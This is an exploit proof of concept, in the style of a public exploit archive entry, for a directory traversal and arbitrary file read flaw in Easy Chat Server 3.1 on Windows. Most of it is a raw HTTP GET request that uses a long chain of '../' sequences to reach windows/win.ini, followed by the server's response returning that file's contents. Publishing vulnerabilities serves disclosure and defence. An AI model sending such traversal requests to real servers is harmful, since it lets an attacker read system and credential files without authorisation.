Easy Chat Server 3.1 - Directory Traversal and Arbitrary File Read

# Exploit Title: Easy Chat Server 3.1 - Directory Traversal and Arbitrary File Read
# Date: 11 October 2021
# Exploit Author: z4nd3r
# Vendor Homepage: http://www.echatserver.com/
# Software Link: http://www.echatserver.com/
# Version: 3.1
# Tested on: Windows 10 Pro Build 19042, English
#
# Description: 
# The web server allows for directory traversal and reading of arbitrary files on the
#  system, given that the account running the server can access the target file.


Proof-of-concept using Burp:

Request:

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 192.168.50.52
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

----------------------------------------

Response:

HTTP/1.0 200 OK
Date: Thu, 21 Oct 2021 14:55:57 GMT
Server: Easy Chat Server/1.0
Accept-Ranges: bytes
Content-Length: 92
Connection: close
Content-Type: text/html

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1